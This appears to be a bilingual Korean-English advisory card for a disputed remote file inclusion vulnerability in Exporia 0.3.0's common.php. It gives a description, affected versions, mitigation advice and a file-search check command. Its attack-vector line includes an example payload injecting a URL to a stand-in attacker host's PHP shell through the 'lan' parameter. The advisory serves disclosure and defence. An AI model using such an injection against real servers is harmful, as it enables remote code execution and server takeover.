🇰🇷 한글 설명
Exporia 0.3.0의 common.php 파일에서 lan 파라미터를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 임의의 PHP 코드를 원격에서 실행할 수 있습니다. SecurityFocus에서 이 취약점이 존재하지 않을 수 있다고 분쟁 중입니다.
💡 쉬운 설명
웹 애플리케이션이 URL 주소를 검증 없이 신뢰하여 원격 서버의 파일을 실행하는 문제입니다. 공격자가 악의적인 PHP 파일 URL을 lan 파라미터에 주입하여 서버를 장악할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in common.php in Yuuki Yoshizawa Exporia 0.3.0 allows remote attackers to execute arbitrary PHP code via a URL in the lan parameter. NOTE: SecurityFocus disputes this issue, saying "further analysis reveals that the application is not vulnerable." NOTE: this issue may overlap CVE-2006-5113
📍 영향받는 시스템
Yuuki Yoshizawa Exporia 0.3.0 이하
⚔️ 공격 벡터
HTTP GET/POST 요청의 lan 파라미터에 remote URL 주입 (예: ?lan=http://attacker.com/shell.php)
🛡️ 대응 방법
Exporia를 최신 버전으로 업그레이드하고, URL 파라미터 입력값 검증 및 화이트리스트 방식으로 허용 파일만 포함하도록 수정
🔧 검증 코드
찾은 경로의 Exporia 버전을 확인하고, common.php의 lan 파라미터 처리 코드에서 입력값 검증 로직이 있는지 검사
find / -name 'Exporia*' -o -name 'common.php' 2>/dev/null | head -20